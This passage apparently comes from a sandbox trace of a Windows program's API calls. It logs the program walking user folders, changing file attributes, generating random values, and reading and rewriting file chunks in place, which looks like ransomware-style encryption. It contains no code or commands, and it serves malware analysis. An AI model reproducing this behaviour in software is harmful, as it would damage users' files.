_Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0161.049] wcscat (in: _Dest=0x1cd65810, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0161.049] wcscat (in: _Dest=0x1cd65810, _Source="JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0161.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x9e) returned 0x1cd65970 [0161.050] wcscpy (in: _Dest=0x1cd65970, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0161.050] wcscat (in: _Dest=0x1cd65970, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0161.050] wcscat (in: _Dest=0x1cd65970, _Source="*" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*" [0161.050] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x250) returned 0x1ce58030 [0161.050] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\*", lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1cd861f0 [0166.210] wcscmp (_String1=".", _String2=".") returned 0 [0166.210] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0166.210] wcscmp (_String1="..", _String2=".") returned 1 [0166.210] wcscmp (_String1="..", _String2="..") returned 0 [0166.210] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.js", cAlternateFileName="")) returned 1 [0166.210] wcscmp (_String1="glob.js", _String2=".") returned 1 [0166.210] wcscmp (_String1="glob.js", _String2="..") returned 1 [0166.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xaa) returned 0x42c36a50 [0166.211] wcscpy (in: _Dest=0x42c36a50, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0166.211] wcscat (in: _Dest=0x42c36a50, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0166.211] wcscat (in: _Dest=0x42c36a50, _Source="glob.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" [0166.211] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js")) returned 0x2020 [0166.211] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", dwFileAttributes=0x20) returned 1 [0209.475] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\adobe\\acrobat\\10.0\\javascripts\\glob.js"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x4b4 [0209.475] GetFileSizeEx (in: hFile=0x4b4, lpFileSize=0x221af720 | out: lpFileSize=0x221af720*=0) returned 1 [0209.475] FlushFileBuffers (hFile=0x4b4) returned 1 [0209.518] CloseHandle (hObject=0x4b4) returned 1 [0209.518] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.js", dwFileAttributes=0x2020) returned 1 [0222.422] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c36a50) returned 1 [0222.422] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 1 [0222.422] wcscmp (_String1="glob.settings.js", _String2=".") returned 1 [0222.422] wcscmp (_String1="glob.settings.js", _String2="..") returned 1 [0222.422] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0xbc) returned 0x4310deb0 [0222.423] wcscpy (in: _Dest=0x4310deb0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts" [0222.423] wcscat (in: _Dest=0x4310deb0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\" [0222.423] wcscat (in: _Dest=0x4310deb0, _Source="glob.settings.js" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\JavaScripts\\glob.settings.js" [0224.115] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b4a8a0, lpParameter=0x4310deb0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a78 [0224.116] FindNextFileW (in: hFindFile=0x1cd861f0, lpFindFileData=0x1ce58030 | out: lpFindFileData=0x1ce58030*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xec7c9cd0, ftCreationTime.dwHighDateTime=0x1d2ddf4, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xedc00b50, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0xa, dwReserved0=0x0, dwReserved1=0x0, cFileName="glob.settings.js", cAlternateFileName="GLOBSE~1.JS")) returned 0 [0224.116] FindClose (in: hFindFile=0x1cd861f0 | out: hFindFile=0x1cd861f0) returned 1 [0224.117] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce58030) returned 1 [0224.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65970) returned 1 [0224.118] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1cd65810) returned 1 [0224.118] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 1 [0224.118] wcscmp (_String1="Security", _String2=".") returned 1 [0224.118] wcscmp (_String1="Security", _String2="..") returned 1 [0224.118] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x94) returned 0x20508db0 [0224.119] wcscpy (in: _Dest=0x20508db0, _Source="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0" [0224.119] wcscat (in: _Dest=0x20508db0, _Source="\\" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\" [0224.119] wcscat (in: _Dest=0x20508db0, _Source="Security" | out: _Dest="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Adobe\\Acrobat\\10.0\\Security" [0224.119] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x2b52e40, lpParameter=0x20508db0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x2a40 [0224.128] FindNextFileW (in: hFindFile=0x1cd86910, lpFindFileData=0x1ce589f0 | out: lpFindFileData=0x1ce589f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xda28e240, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xda8cdc00, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xda8cdc00, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Security", cAlternateFileName="")) returned 0 [0224.129] FindClose (in: hFindFile=0x1cd86910 | out: hFindFile=0x1cd86910) returned 1 [0224.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce589f0) returned 1 [0224.130] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a4a40) returned 1 [0224.131] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x202a58e0) returned 1 [0224.131] FindNextFileW (in: hFindFile=0x1cd860d0, lpFindFileData=0x1ce57400 | out: lpFindFileData=0x1ce57400*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xec7c9cd0, ftLastAccessTime.dwHighDateTime=0x1d2ddf4, ftLastWriteTime.dwLowDateTime=0xec7c9cd0, ftLastWriteTime.dwHighDateTime=0x1d2ddf4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 0 [0224.131] FindClose (in: hFindFile=0x1cd860d0 | out: hFindFile=0x1cd860d0) returned 1 [0224.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce57400) returned 1 [0224.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ced33d0) returned 1 [0224.132] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b869fc0) returned 1 Thread: id = 2688 os_tid = 0x2258 [0157.699] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png")) returned 0x20 [0157.701] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0157.703] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.706] GetLastError () returned 0x5 [0157.706] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\superbar.png", dwFileAttributes=0x20) returned 0 [0157.708] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119240) returned 1 Thread: id = 2689 os_tid = 0x2254 [0157.710] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20 [0157.712] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0157.714] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffffffffffff [0157.717] GetLastError () returned 0x5 [0157.717] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png", dwFileAttributes=0x20) returned 0 [0157.719] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x119720) returned 1 Thread: id = 2690 os_tid = 0x2274 [0157.722] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma")) returned 0x20 [0159.580] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma", dwFileAttributes=0x20) returned 1 [0159.623] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Ringtones\\Ringtone 01.wma" (normalized: "c:\\programdata\\microsoft\\windows\\ringtones\\ringtone 01.wma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x2848 [0159.631] GetFileSizeEx (in: hFile=0x2848, lpFileSize=0x3b8afe40 | out: lpFileSize=0x3b8afe40*=201833) returned 1 [0159.631] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x31465, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0159.631] ReadFile (in: hFile=0x2848, lpBuffer=0x3b8afdc0, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x3b8afe08, lpOverlapped=0x0 | out: lpBuffer=0x3b8afdc0*, lpNumberOfBytesRead=0x3b8afe08*=0x4, lpOverlapped=0x0) returned 1 [0161.192] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.192] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3cb0 [0161.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3ce0 [0161.193] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a3d10 [0161.193] NtQuerySystemTime (in: CurrentTime=0x3b8afd00 | out: CurrentTime=0x3b8afd00*=132462177663190000) returned 0x0 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2119f086 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x5a647cb3 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x4edbcef4 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x54942f82 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x45542241 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x7c9a400c [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x4081e59c [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x7f9db939 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x5ecc37b0 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2d23f002 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x11b72865 [0161.193] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2e2c6fd7 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x53791f99 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x537e8f11 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x8ce0070 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0xdeaf648 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x411f28a7 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x50f3c9d2 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x63ab05ac [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x3e3eebd9 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x7a767fab [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x3d605324 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x66b0e98c [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x6b05befa [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x538adf3e [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2a3b9772 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x643eb967 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x11e29a90 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2f82406 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x11837ec1 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x10b1db98 [0161.194] RtlRandomEx (in: Seed=0x3b8afcf0 | out: Seed=0x3b8afcf0) returned 0x2cb37b50 [0161.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a4070 [0161.385] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1ce59db0 [0161.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x423a40a0 [0161.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1ce59db0) returned 1 [0161.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3d10) returned 1 [0161.386] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x423a3cb0) returned 1 [0161.386] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x42340d80 [0161.387] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0161.387] ReadFile (in: hFile=0x2848, lpBuffer=0x42340d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x42340d80*, lpNumberOfBytesRead=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0165.790] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0165.790] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x420591f0 [0165.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x1b8696c0 [0165.791] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0165.792] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x4205b760) returned 1 [0165.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x429e6280 [0165.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x4205b760 [0165.792] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x42c19f20 [0165.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42c19f20) returned 1 [0165.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b8696c0) returned 1 [0165.793] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x420591f0) returned 1 [0165.793] WriteFile (in: hFile=0x2848, lpBuffer=0x429e6280*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x429e6280*, lpNumberOfBytesWritten=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.179] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x429e6280) returned 1 [0190.180] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.180] ReadFile (in: hFile=0x2848, lpBuffer=0x42340d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x42340d80*, lpNumberOfBytesRead=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.209] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x1a400, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x40) returned 0x1b82c760 [0190.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x70) returned 0x42060130 [0190.209] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431381d0 [0190.210] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x431381d0) returned 1 [0190.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x3c00) returned 0x426269f0 [0190.210] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x431381d0 [0190.211] RtlAllocateHeap (HeapHandle=0xa0000, Flags=0x8, Size=0x20) returned 0x43138200 [0190.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x43138200) returned 1 [0190.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x42060130) returned 1 [0190.212] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x1b82c760) returned 1 [0190.212] WriteFile (in: hFile=0x2848, lpBuffer=0x426269f0*, nNumberOfBytesToWrite=0x3c00, lpNumberOfBytesWritten=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x426269f0*, lpNumberOfBytesWritten=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.214] RtlFreeHeap (HeapHandle=0xa0000, Flags=0x0, BaseAddress=0x426269f0) returned 1 [0190.214] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x2d869, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0190.214] ReadFile (in: hFile=0x2848, lpBuffer=0x42340d80, nNumberOfBytesToRead=0x3c00, lpNumberOfBytesRead=0x3b8afd60, lpOverlapped=0x0 | out: lpBuffer=0x42340d80*, lpNumberOfBytesRead=0x3b8afd60*=0x3c00, lpOverlapped=0x0) returned 1 [0190.223] SetFilePointerEx (in: hFile=0x2848, liDistanceToMove=0x2d869, lpNewFilePointer=0x0, 